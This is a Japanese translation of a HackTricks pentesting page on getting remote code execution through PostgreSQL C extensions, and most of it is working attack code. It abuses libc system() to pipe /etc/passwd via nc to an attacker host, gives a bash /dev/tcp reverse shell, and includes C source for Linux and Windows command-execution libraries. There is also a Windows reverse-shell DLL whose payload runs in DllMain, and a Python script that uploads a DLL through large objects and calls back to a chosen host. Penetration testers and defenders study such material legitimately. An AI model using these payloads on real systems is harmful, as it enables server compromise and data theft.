18 KiB
PostgreSQL拡張機能
htARTE(HackTricks AWS Red Team Expert) を通じてゼロからヒーローまでAWSハッキングを学ぶ!
- サイバーセキュリティ企業で働いていますか? HackTricksで会社を宣伝してみたいですか?または最新バージョンのPEASSにアクセスしたり、HackTricksをPDFでダウンロードしたいですか?SUBSCRIPTION PLANSをチェックしてください!
- The PEASS Familyを発見し、独占的なNFTsコレクションをご覧ください
- 公式PEASS&HackTricksスウェグを手に入れましょう
- 💬 Discordグループに参加するか、telegramグループに参加するか、Twitterで私をフォローしてください 🐦@carlospolopm。**
- ハッキングトリックを共有するために、hacktricksリポジトリとhacktricks-cloudリポジトリにPRを提出してください。
PostgreSQL拡張機能
PostgreSQLは拡張性をコア機能として開発されており、それらが組み込み機能であるかのように拡張機能をシームレスに統合できるようになっています。これらの拡張機能は、基本的にCで書かれたライブラリであり、データベースに追加の機能、演算子、または型を提供します。
バージョン8.1以降、拡張ライブラリには特定の要件が課されています:特別なヘッダーでコンパイルする必要があります。これがないと、PostgreSQLはそれらを実行せず、互換性のあるかつ潜在的に安全な拡張機能のみが使用されることを保証します。
また、PostgreSQLを悪用して被害者にファイルをアップロードする方法がわからない場合は、この投稿を読んでください。
LinuxでのRCE
詳細についてはこちらをチェックしてください:https://www.dionach.com/blog/postgresql-9-x-remote-command-execution/
PostgreSQL 8.1およびそれ以前のバージョンからシステムコマンドを実行するプロセスは、明確に文書化されており、簡単です。これを使用することが可能です:Metasploitモジュール。
CREATE OR REPLACE FUNCTION system (cstring) RETURNS integer AS '/lib/x86_64-linux-gnu/libc.so.6', 'system' LANGUAGE 'c' STRICT;
SELECT system('cat /etc/passwd | nc <attacker IP> <attacker port>');
# You can also create functions to open and write files
CREATE OR REPLACE FUNCTION open(cstring, int, int) RETURNS int AS '/lib/libc.so.6', 'open' LANGUAGE 'C' STRICT;
CREATE OR REPLACE FUNCTION write(int, cstring, int) RETURNS int AS '/lib/libc.so.6', 'write' LANGUAGE 'C' STRICT;
CREATE OR REPLACE FUNCTION close(int) RETURNS int AS '/lib/libc.so.6', 'close' LANGUAGE 'C' STRICT;
Base64からバイナリファイルを書き込む
バイナリをファイルに書き込むためには、PostgreSQLでbase64を使用する必要があるかもしれません。その場合に役立つ情報です:
CREATE OR REPLACE FUNCTION write_to_file(file TEXT, s TEXT) RETURNS int AS
$$
DECLARE
fh int;
s int;
w bytea;
i int;
BEGIN
SELECT open(textout(file)::cstring, 522, 448) INTO fh;
IF fh <= 2 THEN
RETURN 1;
END IF;
SELECT decode(s, 'base64') INTO w;
i := 0;
LOOP
EXIT WHEN i >= octet_length(w);
SELECT write(fh,textout(chr(get_byte(w, i)))::cstring, 1) INTO rs;
IF rs < 0 THEN
RETURN 2;
END IF;
i := i + 1;
END LOOP;
SELECT close(fh) INTO rs;
RETURN 0;
END;
$$ LANGUAGE 'plpgsql';
ただし、より新しいバージョンで試みると、次のエラーが表示されました:
ERROR: incompatible library “/lib/x86_64-linux-gnu/libc.so.6”: missing magic block
HINT: Extension libraries are required to use the PG_MODULE_MAGIC macro.
このエラーは、PostgreSQLのドキュメントで説明されています:
動的にロードされたオブジェクトファイルが互換性のないサーバーにロードされないようにするために、PostgreSQLはファイルに適切な内容を持つ「マジックブロック」が含まれているかどうかをチェックします。これにより、異なるPostgreSQLのメジャーバージョン用にコンパイルされたコードなど、明らかな非互換性をサーバーが検出できます。マジックブロックはPostgreSQL 8.2以降で必須です。マジックブロックを含めるには、モジュールのソースファイルの1つ(ただ1つ)に、fmgr.hを含めた後に次のように記述します:
#ifdef PG_MODULE_MAGIC
PG_MODULE_MAGIC;
#endif
PostgreSQLバージョン8.2以降、システムを悪用する攻撃者のプロセスはより困難になりました。攻撃者は、すでにシステムに存在するライブラリを利用するか、カスタムライブラリをアップロードする必要があります。このカスタムライブラリは、PostgreSQLの互換性のあるメジャーバージョンに対してコンパイルされている必要があり、特定の「マジックブロック」を含める必要があります。この対策により、PostgreSQLシステムを悪用する難易度が大幅に上昇し、システムのアーキテクチャとバージョンの互換性についてより深い理解が必要とされます。
ライブラリをコンパイルする
PostgreSQLのバージョンを取得する:
SELECT version();
PostgreSQL 9.6.3 on x86_64-pc-linux-gnu, compiled by gcc (Debian 6.3.0-18) 6.3.0 20170516, 64-bit
以下は、ファイルpentesting-web/sql-injection/postgresql-injection/rce-with-postgresql-extensions.mdからのコンテンツです。
日本語訳:
互換性のために、主要バージョンが一致していることが重要です。したがって、9.6.xシリーズ内の任意のバージョンでライブラリをコンパイルすると、統合が成功するはずです。
システムにそのバージョンをインストールするには:
apt install postgresql postgresql-server-dev-9.6
そして、ライブラリをコンパイルしてください:
//gcc -I$(pg_config --includedir-server) -shared -fPIC -o pg_exec.so pg_exec.c
#include <string.h>
#include "postgres.h"
#include "fmgr.h"
#ifdef PG_MODULE_MAGIC
PG_MODULE_MAGIC;
#endif
PG_FUNCTION_INFO_V1(pg_exec);
Datum pg_exec(PG_FUNCTION_ARGS) {
char* command = PG_GETARG_CSTRING(0);
PG_RETURN_INT32(system(command));
}
その後、コンパイルされたライブラリをアップロードして、次のようにコマンドを実行します:
CREATE FUNCTION sys(cstring) RETURNS int AS '/tmp/pg_exec.so', 'pg_exec' LANGUAGE C STRICT;
SELECT sys('bash -c "bash -i >& /dev/tcp/127.0.0.1/4444 0>&1"');
#Notice the double single quotes are needed to scape the qoutes
あなたはこのライブラリを事前にコンパイルされた状態で、さまざまなPostgreSQLバージョンで見つけることができ、さらには次のようにしてこのプロセスを自動化することができます(PostgreSQLアクセス権がある場合):
{% embed url="https://github.com/Dionach/pgexec" %}
WindowsでのRCE
次のDLLは、バイナリの名前と実行回数を入力として受け取り、それを実行します:
#include "postgres.h"
#include <string.h>
#include "fmgr.h"
#include "utils/geo_decls.h"
#include <stdio.h>
#include "utils/builtins.h"
#ifdef PG_MODULE_MAGIC
PG_MODULE_MAGIC;
#endif
/* Add a prototype marked PGDLLEXPORT */
PGDLLEXPORT Datum pgsql_exec(PG_FUNCTION_ARGS);
PG_FUNCTION_INFO_V1(pgsql_exec);
/* this function launches the executable passed in as the first parameter
in a FOR loop bound by the second parameter that is also passed*/
Datum
pgsql_exec(PG_FUNCTION_ARGS)
{
/* convert text pointer to C string */
#define GET_STR(textp) DatumGetCString(DirectFunctionCall1(textout, PointerGetDatum(textp)))
/* retrieve the second argument that is passed to the function (an integer)
that will serve as our counter limit*/
int instances = PG_GETARG_INT32(1);
for (int c = 0; c < instances; c++) {
/*launch the process passed in the first parameter*/
ShellExecute(NULL, "open", GET_STR(PG_GETARG_TEXT_P(0)), NULL, NULL, 1);
}
PG_RETURN_VOID();
}
次のzipファイルにコンパイルされたDLLが見つかります:
{% file src="../../../.gitbook/assets/pgsql_exec.zip" %}
このDLLに実行するバイナリと実行回数を指定できます。この例では、calc.exe
を2回実行します:
CREATE OR REPLACE FUNCTION remote_exec(text, integer) RETURNS void AS '\\10.10.10.10\shared\pgsql_exec.dll', 'pgsql_exec' LANGUAGE C STRICT;
SELECT remote_exec('calc.exe', 2);
DROP FUNCTION remote_exec(text, integer);
こちらでこのリバースシェルを見つけることができます。
#define PG_REVSHELL_CALLHOME_SERVER "10.10.10.10"
#define PG_REVSHELL_CALLHOME_PORT "4444"
#include "postgres.h"
#include <string.h>
#include "fmgr.h"
#include "utils/geo_decls.h"
#include <winsock2.h>
#pragma comment(lib,"ws2_32")
#ifdef PG_MODULE_MAGIC
PG_MODULE_MAGIC;
#endif
#pragma warning(push)
#pragma warning(disable: 4996)
#define _WINSOCK_DEPRECATED_NO_WARNINGS
BOOL WINAPI DllMain(_In_ HINSTANCE hinstDLL,
_In_ DWORD fdwReason,
_In_ LPVOID lpvReserved)
{
WSADATA wsaData;
SOCKET wsock;
struct sockaddr_in server;
char ip_addr[16];
STARTUPINFOA startupinfo;
PROCESS_INFORMATION processinfo;
char *program = "cmd.exe";
const char *ip = PG_REVSHELL_CALLHOME_SERVER;
u_short port = atoi(PG_REVSHELL_CALLHOME_PORT);
WSAStartup(MAKEWORD(2, 2), &wsaData);
wsock = WSASocket(AF_INET, SOCK_STREAM,
IPPROTO_TCP, NULL, 0, 0);
struct hostent *host;
host = gethostbyname(ip);
strcpy_s(ip_addr, sizeof(ip_addr),
inet_ntoa(*((struct in_addr *)host->h_addr)));
server.sin_family = AF_INET;
server.sin_port = htons(port);
server.sin_addr.s_addr = inet_addr(ip_addr);
WSAConnect(wsock, (SOCKADDR*)&server, sizeof(server),
NULL, NULL, NULL, NULL);
memset(&startupinfo, 0, sizeof(startupinfo));
startupinfo.cb = sizeof(startupinfo);
startupinfo.dwFlags = STARTF_USESTDHANDLES;
startupinfo.hStdInput = startupinfo.hStdOutput =
startupinfo.hStdError = (HANDLE)wsock;
CreateProcessA(NULL, program, NULL, NULL, TRUE, 0,
NULL, NULL, &startupinfo, &processinfo);
return TRUE;
}
#pragma warning(pop) /* re-enable 4996 */
/* Add a prototype marked PGDLLEXPORT */
PGDLLEXPORT Datum dummy_function(PG_FUNCTION_ARGS);
PG_FUNCTION_INFO_V1(add_one);
Datum dummy_function(PG_FUNCTION_ARGS)
{
int32 arg = PG_GETARG_INT32(0);
PG_RETURN_INT32(arg + 1);
}
Note how in this case the malicious code is inside the DllMain function. This means that in this case it isn't necessary to execute the loaded function in postgresql, just loading the DLL will execute the reverse shell:
CREATE OR REPLACE FUNCTION dummy_function(int) RETURNS int AS '\\10.10.10.10\shared\dummy_function.dll', 'dummy_function' LANGUAGE C STRICT;
最新のPostgresバージョンにおけるRCE
PostgreSQLの最新バージョンでは、superuser
が特定のディレクトリ(Windowsの場合はC:\Program Files\PostgreSQL\11\lib
、*nixシステムの場合は/var/lib/postgresql/11/lib
など)以外から共有ライブラリファイルを読み込むことが禁止される制限が課されています。これらのディレクトリは、NETWORK_SERVICEまたはpostgresアカウントによって書き込み操作から保護されています。
これらの制限にもかかわらず、認証済みのデータベースsuperuser
は「大きなオブジェクト」を使用してファイルシステムにバイナリファイルを書き込むことが可能です。この機能により、データベース操作(テーブルの更新や作成など)に不可欠なC:\Program Files\PostgreSQL\11\data
ディレクトリ内に書き込むことができます。
CREATE FUNCTION
コマンドから生じる重大な脆弱性は、データディレクトリへのディレクトリトラバーサルを許可しています。その結果、認証済みの攻撃者はこのトラバーサルを悪用して共有ライブラリファイルをデータディレクトリに書き込み、その後読み込むことができます。この脆弱性を利用すると、攻撃者は任意のコードを実行し、システム上でネイティブコードを実行できます。
攻撃フロー
まず、大きなオブジェクトを使用してdllをアップロードする必要があります。その方法はこちらで確認できます:
{% content-ref url="big-binary-files-upload-postgresql.md" %} big-binary-files-upload-postgresql.md {% endcontent-ref %}
この例では、拡張機能(この例ではpoc.dllという名前)をデータディレクトリにアップロードした後、次のようにロードできます:
create function connect_back(text, integer) returns void as '../data/poc', 'connect_back' language C strict;
select connect_back('192.168.100.54', 1234);
.dll
拡張子を追加する必要はありません。create関数がそれを追加します。
詳細については、元の出版物をこちらで読んでください。
その出版物では、ポストグレス拡張機能を生成するために使用されたコードはこちらです(ポストグレス拡張機能をコンパイルする方法については、以前のバージョンのいずれかを読んでください)。
同じページには、このテクニックを自動化するエクスプロイトが示されていました:
#!/usr/bin/env python3
import sys
if len(sys.argv) != 4:
print("(+) usage %s <connectback> <port> <dll/so>" % sys.argv[0])
print("(+) eg: %s 192.168.100.54 1234 si-x64-12.dll" % sys.argv[0])
sys.exit(1)
host = sys.argv[1]
port = int(sys.argv[2])
lib = sys.argv[3]
with open(lib, "rb") as dll:
d = dll.read()
sql = "select lo_import('C:/Windows/win.ini', 1337);"
for i in range(0, len(d)//2048):
start = i * 2048
end = (i+1) * 2048
if i == 0:
sql += "update pg_largeobject set pageno=%d, data=decode('%s', 'hex') where loid=1337;" % (i, d[start:end].hex())
else:
sql += "insert into pg_largeobject(loid, pageno, data) values (1337, %d, decode('%s', 'hex'));" % (i, d[start:end].hex())
if (len(d) % 2048) != 0:
end = (i+1) * 2048
sql += "insert into pg_largeobject(loid, pageno, data) values (1337, %d, decode('%s', 'hex'));" % ((i+1), d[end:].hex())
sql += "select lo_export(1337, 'poc.dll');"
sql += "create function connect_back(text, integer) returns void as '../data/poc', 'connect_back' language C strict;"
sql += "select connect_back('%s', %d);" % (host, port)
print("(+) building poc.sql file")
with open("poc.sql", "w") as sqlfile:
sqlfile.write(sql)
print("(+) run poc.sql in PostgreSQL using the superuser")
print("(+) for a db cleanup only, run the following sql:")
print(" select lo_unlink(l.oid) from pg_largeobject_metadata l;")
print(" drop function connect_back(text, integer);")
参考文献
- https://www.dionach.com/blog/postgresql-9-x-remote-command-execution/
- https://www.exploit-db.com/papers/13084
ゼロからヒーローまでのAWSハッキングを学ぶ htARTE(HackTricks AWS Red Team Expert)!
- サイバーセキュリティ企業で働いていますか? HackTricksで会社を宣伝したいですか?または最新バージョンのPEASSにアクセスしたり、HackTricksをPDFでダウンロードしたいですか?SUBSCRIPTION PLANSをチェックしてください!
- The PEASS Familyを発見し、独占的なNFTsコレクションをご覧ください
- 公式PEASS&HackTricksスウェグを手に入れましょう
- 💬 Discordグループに参加するか、Telegramグループに参加するか、Twitterで私をフォローする🐦@carlospolopm。
- **ハッキングトリックを共有するために、hacktricksリポジトリとhacktricks-cloudリポジトリ**にPRを提出してください。